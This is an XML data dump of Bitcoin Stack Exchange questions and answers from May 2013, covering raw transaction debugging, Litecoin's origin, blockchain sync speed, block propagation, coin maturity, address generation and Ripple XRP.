  <row Id="10801" PostTypeId="2" ParentId="10793" CreationDate="2013-05-11T07:08:02.393" Score="0" Body="&lt;p&gt;At the end of the transaction, you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000&#xA;01000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume the &lt;code&gt;00000000&lt;/code&gt; is lock_time. In that case &lt;code&gt;01000000&lt;/code&gt; is excess data that does not conform to anything - &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow&quot;&gt;the protocol specifies tx&lt;/a&gt; to end with locktime.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-05-11T07:08:02.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10802" PostTypeId="2" ParentId="10795" CreationDate="2013-05-11T08:20:55.447" Score="3" Body="&lt;p&gt;Outputs with 0 value are valid (but non-standard). When the block subsidy reaches 0, blocks without fees will need to produce coinbase transactions with 0-value outputs. Every block must have a coinbase transaction.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2013-05-11T08:20:55.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10803" PostTypeId="1" AcceptedAnswerId="10809" CreationDate="2013-05-11T09:05:12.613" Score="0" ViewCount="1060" Body="&lt;p&gt;I've been reading about Litecoin, yet I haven't found any mention to a person or group responsible for the fork. Who created litecoin and did he write a whitepaper explaining why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some searching it appears to be Charles Lee. Yet no whitepaper yet :(&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="4070" LastEditDate="2013-05-12T02:52:06.923" LastActivityDate="2013-05-12T02:52:06.923" Title="Who created Litecoin?" Tags="|litecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10804" PostTypeId="1" AcceptedAnswerId="10805" CreationDate="2013-05-11T09:17:35.187" Score="7" ViewCount="3981" Body="&lt;p&gt;just a simple question: what does qt in bitcoin-qt stand for?&lt;/p&gt;&#xA;" OwnerUserId="4964" LastActivityDate="2014-02-19T12:18:39.490" Title="What does qt in bitcoin-qt stand for?" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10805" PostTypeId="2" ParentId="10804" CreationDate="2013-05-11T09:19:54.380" Score="14" Body="&lt;p&gt;Qt is a cross-platform application and UI framework for developers using C++. It's is used for UI in Bitcoin-Qt. See &lt;a href=&quot;http://qt-project.org/&quot;&gt;http://qt-project.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4723" LastActivityDate="2013-05-11T09:19:54.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10806" PostTypeId="2" ParentId="10793" CreationDate="2013-05-11T10:10:30.267" Score="1" Body="&lt;p&gt;I found several bugs and now it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the incoming transaction I used the public key, but I had to use the full scriptPubKey for the output I was trying to redeem. The clue for that was that my inputs were 0x14 long instead of 0x19 in the correct example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the output I forgot to add the length of the public key 0x14 after OP_DUP OP_HASH160 (0x76a9).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point BitcoinQT was able to parse the transaction and detect a newly introduced mistake I made in calculating the output size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later on I tried to sign and manually send the transaction using &lt;a href=&quot;https://blockchain.info/pushtx&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;. This is where I uncovered another error, namely that the transaction hash needs to be little endian. In other words &lt;code&gt;0f7404...be54d3&lt;/code&gt; needs to be written as &lt;code&gt;d354be..04740f&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the correct version (with slightly improved line breaks):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000&#xA;02&#xA;d354be7cd5426bfbe70517b934b8764d17ad7f93e2b8db868211851d4404740f 01000000&#xA;19&#xA;76 a9 14 23376070c7b24da64b435c71613053800494ab1c 88 ac  ffffffff&#xA;e49a65da5abe3edd6e5157327fe794a7c75befecaaf18fefd3154dbb4527d6d6 01000000&#xA;19&#xA;76 a9 14 23376070c7b24da64b435c71613053800494ab1c 88 ac  ffffffff&#xA;02&#xA;40420f0000000000&#xA;19&#xA;76 a9 14 c8a73488183dd49f63a11dea0a3b242ae70942d2 88 ac &#xA;10ae220100000000&#xA;19&#xA;76 a9 14 23376070c7b24da64b435c71613053800494ab1c 88 ac &#xA;00000000&#xA;01000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4948" LastEditorUserId="4948" LastEditDate="2013-05-11T10:38:42.657" LastActivityDate="2013-05-11T10:38:42.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10807" PostTypeId="1" CreationDate="2013-05-11T13:07:13.640" Score="7" ViewCount="1456" Body="&lt;p&gt;If you download a bootstrap copy of the blockchain through torrents, it will be faster than getting that same data through the Bitcoin network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ofcourse the BitTorrent protocol is more optimized for bulk data transfer, but is there any other reason for the huge difference in bandwidth? Is it artificially limited in the client right now, or by design?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2013-07-05T20:34:54.037" Title="What makes the initial download of the blockchain so slow?" Tags="|blockchain|protocol|synchronization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10808" PostTypeId="2" ParentId="10807" CreationDate="2013-05-11T13:27:53.677" Score="4" Body="&lt;p&gt;I found this post by Jeff Garzik (one of the developers):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Initial blockchain download occurs from one peer at a time.  If that&#xA;  peer is slow, then your entire blockchain download is slow.&#xA;  Yes, it's stupid and yes it needs fixing (patches welcome).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2013-05-11T13:27:53.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10809" PostTypeId="2" ParentId="10803" CreationDate="2013-05-11T13:41:50.320" Score="2" Body="&lt;p&gt;This is the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=47417.0&quot; rel=&quot;nofollow&quot;&gt;original announcement post&lt;/a&gt; by &lt;a href=&quot;https://github.com/coblee/&quot; rel=&quot;nofollow&quot;&gt;coblee&lt;/a&gt;. In a short bit of research, I wasn't able to find a formal paper. The post describes the changes divergent from Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-11T13:41:50.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10810" PostTypeId="2" ParentId="10796" CreationDate="2013-05-11T15:10:46.567" Score="5" Body="&lt;p&gt;The &lt;a href=&quot;http://blockexplorer.com/tx/f4184fc596403b9d638783cf57adfe4c75c605f6356fbc91338530e9831e9e16&quot; rel=&quot;noreferrer&quot;&gt;first non-coinbase transaction in the chain&lt;/a&gt; is in &lt;a href=&quot;http://blockexplorer.com/b/170&quot; rel=&quot;noreferrer&quot;&gt;block 170&lt;/a&gt;.  Not sure what you would consider a 'real' versus a 'test' transaction, but given that there is an entirely separate blockchain for test transactions I'd consider it as real as any other.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-05-11T15:10:46.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10813" PostTypeId="2" ParentId="4039" CreationDate="2013-05-11T18:29:49.863" Score="-2" Body="&lt;p&gt;I find it interesting that the creator of DGM is here, claiming user statements are incorrect. As with any &quot;hop-proof&quot; payout schema... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has the net effect of punishing miners who don't mine for an entire round. DGM greatly reduced the risk to the pool op by transferring those losses to the miners. PPS is exactly the opposite, pool ops take all the risk &amp;amp; variance instead of miners. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;DGM is for pool ops who can't manage their business well enough to keep correct reserves. Miners will quickly find their earnings decreased and start looking for other more favorable payout schemas.&lt;/p&gt;&#xA;" OwnerUserId="4968" LastActivityDate="2013-05-11T18:29:49.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10814" PostTypeId="1" CreationDate="2013-04-19T10:58:50.707" Score="8" ViewCount="12134" Body="&lt;p&gt;I want to process the Bitcoin network's transactions. As I understand it, the Bitcoin-Qt client downloads and stores all that information locally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since version 0.8 LevelDB has been used to access this data. I found two databases, in &lt;em&gt;blocks/index&lt;/em&gt; and in &lt;em&gt;chainstate&lt;/em&gt;. However, I cannot make sense of the content. The first entry looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B = ??????{?:???????`?5g??&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I on the right track and where can I find a specification of the data?&lt;/p&gt;&#xA;" OwnerUserId="4538" OwnerDisplayName="msteiger" LastEditorUserId="5406" LastEditDate="2014-10-03T10:46:55.727" LastActivityDate="2020-02-29T11:23:25.420" Title="How to access Bitcoin's transaction database?" Tags="|blockchain|bitcoin-core|leveldb|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10816" PostTypeId="1" CreationDate="2013-05-11T21:33:02.773" Score="2" ViewCount="539" Body="&lt;p&gt;How could I get litecoin pool share difficulty from the diff value reported by cgminer?&#xA;For example when cgminer reports diff 16 pool diff is 2^-20. But i am interested how to calculate it?&lt;/p&gt;&#xA;" OwnerUserId="4972" LastActivityDate="2013-05-11T21:33:02.773" Title="How to calculate litecoin pool difficulty from cgminer diff value?" Tags="|litecoin|difficulty|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T17:33:47.170" ContentLicense="CC BY-SA 3.0" />
  <row Id="10818" PostTypeId="2" ParentId="9015" CreationDate="2013-05-11T22:45:35.947" Score="2" Body="&lt;p&gt;There are in fact a considerable number of people/institutions doing this already, and the proprietary software is getting smarter and significantly outperforms the opensource projects. It should come as no suprise that existing currency arbitrage software has been adapted to this task by trading companies very successfully, so if you are thinking of getting into it, you are about 2 years too late, the pickings are too slim for individuals to be worthwhile. (WALLSTREET WINS AGAIN!)&lt;/p&gt;&#xA;" OwnerUserId="4974" LastActivityDate="2013-05-11T22:45:35.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10821" PostTypeId="1" AcceptedAnswerId="13331" CreationDate="2013-05-12T06:33:03.533" Score="25" ViewCount="7808" Body="&lt;p&gt;Once a new block has been created, it is propagated to the entire network. I’d like to know how long this would take “on average”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The propagation delay can be from several causes, and I’d additionally like to understand which one is the most significant:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As I understand, blocks are not propagated before being verified and accepted, so this should contribute to propagation time.&lt;/li&gt;&#xA;&lt;li&gt;Network latency adds delay regardless of the block size.&lt;/li&gt;&#xA;&lt;li&gt;Bandwidth limitations: large blocks will take longer to transmit, and nodes with many outgoing links will take longer to transmit the block to all their neighbors.&lt;/li&gt;&#xA;&lt;li&gt;The network’s diameter.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If there are other causes of delay I’d love to hear about them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is anyone monitoring the network’s propagation delay, or any of the other network measurements I mentioned, and if so, where can I find statistics?&lt;/p&gt;&#xA;" OwnerUserId="4978" LastEditorUserId="5406" LastEditDate="2022-06-22T14:40:31.983" LastActivityDate="2023-10-06T14:05:42.007" Title="How long does it take to propagate a newly created block to the entire Bitcoin network and why?" Tags="|block-propagation-time|latency|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10822" PostTypeId="1" AcceptedAnswerId="10826" CreationDate="2013-05-12T07:48:50.677" Score="1" ViewCount="557" Body="&lt;p&gt;Is there a reliable source where I can download the blockchain as a text file?  Or perhaps is it included in my bitcoin-qt folder after it synchronizes with the network?&lt;/p&gt;&#xA;" OwnerUserId="4980" LastEditorUserId="5406" LastEditDate="2014-09-03T11:34:11.087" LastActivityDate="2014-09-03T11:34:11.087" Title="list of blocks as text file" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ClosedDate="2013-05-13T16:16:19.657" ContentLicense="CC BY-SA 3.0" />
  <row Id="10823" PostTypeId="1" AcceptedAnswerId="10824" CreationDate="2013-05-12T03:51:07.580" Score="0" ViewCount="113" Body="&lt;p&gt;I installed the &lt;a href=&quot;http://www.weusecoins.com/en/getting-started&quot; rel=&quot;nofollow&quot;&gt;Bitcoin progam&lt;/a&gt; on my computer, does that simply means that I will be mining Bitcoins over time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise what are the ways to mine Bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="4984" OwnerDisplayName="Shimmy" LastActivityDate="2013-05-12T08:22:00.240" Title="If I install the Bitcoin progam on my computer, that simply means that I will be mining Bitcoins over time?" Tags="|finance|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10824" PostTypeId="2" ParentId="10823" CreationDate="2013-05-12T08:22:00.240" Score="2" Body="&lt;p&gt;No, the Bitcoin software allows you to receive, hold and send bitcoins. To mine you need specific hardware and software - for most people it is not recommended to bother.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-05-12T08:22:00.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10825" PostTypeId="1" AcceptedAnswerId="10831" CreationDate="2013-05-12T10:33:32.107" Score="1" ViewCount="2010" Body="&lt;p&gt;I mine bitcoin testnet blocks and I find some blocks with difficulty 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples: I mined these blocks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockexplorer.com/testnet/block/000000009c3b3329bcc2a6887b4030849994e2cfb7f09c37f37a3b7e0ac27c83&quot; rel=&quot;nofollow&quot;&gt;Block 1&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockexplorer.com/testnet/block/00000000cafdd9a4519f95a9b15a3977d4e98b20365fcc8d0babc50e40cbd278&quot; rel=&quot;nofollow&quot;&gt;Block 2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Why must generated coins mature 120 blocks before they can be spent?&lt;/p&gt;&#xA;" OwnerUserId="4982" LastEditorUserId="5406" LastEditDate="2016-03-14T17:01:12.573" LastActivityDate="2016-03-14T17:01:12.573" Title="Why must generated coins mature 120 blocks before they can be spent?" Tags="|difficulty|testnet|mining-reward|immature-coins|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10826" PostTypeId="2" ParentId="10822" CreationDate="2013-05-12T11:11:16.563" Score="0" Body="&lt;p&gt;You can certainly request it incrementally from bitcoind/Bitcoin-Qt using the &lt;code&gt;getblock&lt;/code&gt; and &lt;code&gt;getblockhash&lt;/code&gt; RPCs, but there is no file maintained with the actual full list.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-05-12T11:11:16.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10827" PostTypeId="1" AcceptedAnswerId="10829" CreationDate="2013-05-12T12:14:51.660" Score="4" ViewCount="9279" Body="&lt;p&gt;If I understand it correctly, I could generate a valid Bitcoin address (key pair) following &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses#How_to_create_Bitcoin_Address&quot; rel=&quot;noreferrer&quot;&gt;this algorithm&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With an address generated in such a way I would be able to &lt;strong&gt;receive&lt;/strong&gt; Bitcoin without ever having to install a Bitcoin client. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I follow this algorithm with common (command-line) tools, i.e. those typically available on (even older) GNU/Linux systems? (they don’t have to be installed by default, but they should be part of the distributor’s package archive)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would there be any risks/problems using such a key instead of one generated by a Bitcoin client?&lt;/p&gt;&#xA;" OwnerUserId="4975" LastActivityDate="2015-12-13T06:02:51.347" Title="Generate address (for receiving) on GNU/Linux without Bitcoin client?" Tags="|address|linux|address-generation|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10828" PostTypeId="1" AcceptedAnswerId="11454" CreationDate="2013-05-12T13:50:27.530" Score="5" ViewCount="2091" Body="&lt;p&gt;I get a much lower length of time if i make the first character a capital letter instead of a lowercase letter, when trying to generate a public key with Vanitygen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't it be the same? Has anyone else experienced this? What is the math / logic behind this difference?&lt;/p&gt;&#xA;" OwnerUserId="4829" LastEditorUserId="51948" LastEditDate="2017-10-22T03:09:23.217" LastActivityDate="2017-10-22T03:09:23.217" Title="Vanitygen: Why is it easier to generate an address that starts with a capital letter?" Tags="|vanitygen|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10829" PostTypeId="2" ParentId="10827" CreationDate="2013-05-12T15:22:51.353" Score="2" Body="&lt;p&gt;I recommend simply using &lt;a href=&quot;https://github.com/samr7/vanitygen&quot; rel=&quot;nofollow&quot;&gt;vanitygen&lt;/a&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vanitygen -1 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will generate a small number of addresses that you can use, as well as their private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;vanitygen&lt;/code&gt; is &lt;a href=&quot;https://github.com/samr7/vanitygen/blob/master/INSTALL&quot; rel=&quot;nofollow&quot;&gt;trivial to install&lt;/a&gt; on any POSIX system and is proven to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can try &lt;a href=&quot;https://github.com/grondilu/bitcoin-bash-tools&quot; rel=&quot;nofollow&quot;&gt;bitcoin-bash-tools&lt;/a&gt;. Source that from your &lt;code&gt;.bashrc&lt;/code&gt; or simply run it, then you can create a new keypair with &lt;code&gt;newBitcoinKey&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="1409" LastEditDate="2013-05-12T20:09:48.683" LastActivityDate="2013-05-12T20:09:48.683" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10831" PostTypeId="2" ParentId="10825" CreationDate="2013-05-12T16:41:58.700" Score="6" Body="&lt;p&gt;This rule is to prevent people from unintentionally spending Bitcoins that they wind up not owning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For any Bitcoins other than the block reward, unless you intentionally double spend, a reorganization leaves your transactions valid. So they can just be included in the new blocks. (Assuming they don't spend the proceeds of a double spend.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if there's a chain reorganization, there's no way to recover block rewards. Whoever mined the blocks in the other chain gets that reward. That would make your transaction invalid since it would spend funds you don't actually have.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-05-12T16:41:58.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10832" PostTypeId="1" CreationDate="2013-05-12T17:31:49.700" Score="1" ViewCount="1638" Body="&lt;p&gt;So, really weird. Went to send some bitcoins to another of my wallets and all went as expected. I sent 1.013 BTC from a balance of about 3.01254367 BTC. My girlfriend then went to make a withdrawal. She said the balance was just over 4 BTC before the withdrawal which it couldn't have been because of my last transaction. It should have been just over 2 BTC. She said she sent 4 BTC leaving about 0.5 BTC in wallet. The transaction stuck, that was when I got involved to sort it all out! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I reset the blockchain and transactions on multibit and now the balance is 0.97 which doesn't seem to match up with anything? The transaction has shown up on the blockchain at all but I'm down by about 1 BTC. &lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorUserId="15412" LastEditDate="2014-06-18T05:53:04.180" LastActivityDate="2014-06-18T05:53:04.180" Title="Multibit balance does not match blockchain balance. Weird extra bitcoins appear. Now the are gone plus some?" Tags="|multibit|lost-transactions|lost-bitcoins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10833" PostTypeId="1" AcceptedAnswerId="10835" CreationDate="2013-05-12T17:36:30.737" Score="3" ViewCount="1254" Body="&lt;p&gt;The fact that the vast majority of XRP ownership is known represents from my point of view the main threat to the value of the currency and the project itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do Ripple founders and OpenCoin have any strategy in case authorities confiscate their XRP funds? Government could try to do that in order to stop Ripple development as it is done at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would they liberate the code then so the open source community can take over its development?&lt;/p&gt;&#xA;" OwnerUserId="341" LastActivityDate="2013-05-12T18:25:22.257" Title="Can Ripple XRP be a good store of value with &gt;50% ownership known?" Tags="|ripple|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10834" PostTypeId="2" ParentId="10833" CreationDate="2013-05-12T17:44:55.027" Score="-4" Body="&lt;p&gt;Yes the millions premined and owned buy a US company is a problem !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes the fact that it is not open source is a problem!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is it legal for a US company to issue debt money like that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if the company is shutdown  ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;http://ripplescam.org/&quot; rel=&quot;nofollow&quot;&gt;http://ripplescam.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personaly I wouldnt touch that, even with a barge pole.&lt;/p&gt;&#xA;" OwnerUserId="558" LastActivityDate="2013-05-12T17:44:55.027" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="10835" PostTypeId="2" ParentId="10833" CreationDate="2013-05-12T18:25:22.257" Score="6" Body="&lt;p&gt;If the company were to cease operations or break down in some way, the code would immediately become open source. At least one developer has that clause in their contract. If something were to happen to the company's store of XRP before the network is sufficiently distributed, at worst, the ledger would be reset. (We have contingency plans that mitigate damage, but they're not pretty.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are risks, and they're part of the reason that getting the network distributed and the server source code open is a high priority for us. It's not just a matter of trying to do the right thing, these are threats to OpenCoin and risk is a drag on adoption. So we want them gone as much as anyone else does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I don't think XRP is a particularly good store of value now. It's not so much the risks you mentioned, because I think they're small. It's the unpredictability of the value of XRP due to market forces, widely variable speculation, and so on.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-05-12T18:25:22.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10836" PostTypeId="2" ParentId="10832" CreationDate="2013-05-12T19:08:10.780" Score="2" Body="&lt;p&gt;What version are you on ? If you have earlier than 0.5.9 I recommend upgrading. The latest code also picks up pending transactions when you do a reset. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you might want to do a reset blockchain from before when you created the wallet to make sure you have all the transactions on the blockchain. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-05-12T19:08:10.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10837" PostTypeId="1" CreationDate="2013-05-12T19:24:36.793" Score="1" ViewCount="381" Body="&lt;p&gt;I bought a bitcoin on eBay, but my bitcoin wallet is taking FOREVER to sync. How can I see if I own a bitcoin? Do I have to wait probably weeks for the wallet to sync?&lt;/p&gt;&#xA;" OwnerUserId="4991" LastEditorUserId="2306" LastEditDate="2013-05-13T00:29:04.270" LastActivityDate="2013-05-13T00:29:04.270" Title="bitcoin from ebay" Tags="|blockchain|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10838" PostTypeId="2" ParentId="8325" CreationDate="2013-05-12T19:24:55.730" Score="0" Body="&lt;p&gt;The important thing to consider is how the game changes with Butterfly kit in very short term.&#xA;Their order book is currently in the 60,000-100,000 units range, even if we assume most of their units are &quot;&quot;'low end'&quot;&quot; at say 10GH/s then there is conservativly about 1,000,000 TH/s of new capacity coming online in next two - three months (and possibly double that), &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That totally swamps existing network capacity of about 70 TH/s, &lt;strong&gt;and should force about a 10,000 fold increase on the 'DIFFICULTY FACTOR'.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People with GPU rigs will be wasting their time, and people paying butterfly will be playing catchup all the time as they issue faster and faster rigs. Bitcoin mining is becoming a mugs game very quickly, better off designing ASIC's and selling them to mugs!&lt;/p&gt;&#xA;" OwnerUserId="4974" LastActivityDate="2013-05-12T19:24:55.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10839" PostTypeId="2" ParentId="10837" CreationDate="2013-05-12T19:44:23.347" Score="1" Body="&lt;p&gt;You can search for the address to which it was sent via &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-05-12T19:44:23.347" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10840" PostTypeId="2" ParentId="10784" CreationDate="2013-05-12T19:57:11.703" Score="1" Body="&lt;p&gt;The binary encoding of the signature cannot be used to determine if you've performed the steps correctly - it will differ for each signature (even with the same private key).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the signature of a hash signed with the same private key will be different every time. A random number is included in the formula that calculates the signature, so the resulting signature will be different each time. If a random number was not used in the formula, signing two different hashes with the same private key would make it possible to calculate the private key from the two signatures (which is the reason the security of the Sony PlayStation 3 was breached). You can read more about that here: &lt;a href=&quot;http://www.johannes-bauer.com/compsci/ecc/&quot; rel=&quot;nofollow&quot;&gt;http://www.johannes-bauer.com/compsci/ecc/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to test whether you've made a valid transaction, then feed it to bitcoind using the sendrawtransaction command. It will spit out an error if the transaction is invalid, and if it's valid you will see the transaction going through.&lt;/p&gt;&#xA;" OwnerUserId="902" LastActivityDate="2013-05-12T19:57:11.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10841" PostTypeId="1" CreationDate="2013-05-12T21:17:19.977" Score="1" ViewCount="147" Body="&lt;p&gt;I was looking to poke around about with some of the functions of &lt;a href=&quot;https://github.com/gavinandresen/bitcointools&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gavinandresen/bitcointools&lt;/a&gt; but it claims to only work for earlier versions of bitcoin.  Am i just out of luck? or is there another solution?&lt;/p&gt;&#xA;" OwnerUserId="4829" LastEditorUserId="2306" LastEditDate="2013-05-13T00:30:03.727" LastActivityDate="2013-05-13T00:30:03.727" Title="Bitcointools for v0.8+?" Tags="|blockchain|bitcoind|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10842" PostTypeId="2" ParentId="4105" CreationDate="2013-05-12T22:27:26.620" Score="0" Body="&lt;p&gt;As a developer, I find it sad that nobody has created a modular, extensible, multi-currency client.. Free or otherwise. From a technical level it's not much more than a network protocol, handler, peer manager and a handful of block crypto components. Honestly, all of the code we need is already available in multiple forms in just about every mainstream programming language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These should be swappable/pluggable components by now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have the luxury of writing e-currency clients for free, otherwise I would take a stab at it or even join a team of people who feel the same way I do, but bills need to get paid. I imagine this is the same reason why no high-quality, polished GUIs exist for the dozen or more e-currencies that now exist. The money to support that kind of development is probably being squandered on 'the Thps race' instead. Heck, you could contract a small development team for as little as 5 BTC a week (at current exchange rates) all you need is a good manager and software engineer on deck. But, nobody has the chops (or the money/freedom) to do it. :(&lt;/p&gt;&#xA;" OwnerUserId="4993" LastActivityDate="2013-05-12T22:27:26.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10843" PostTypeId="2" ParentId="2356" CreationDate="2013-05-13T00:20:35.457" Score="0" Body="&lt;p&gt;You can see transactions, whether confirmed or not yet confirmed, using the search field on &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-05-13T00:20:35.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
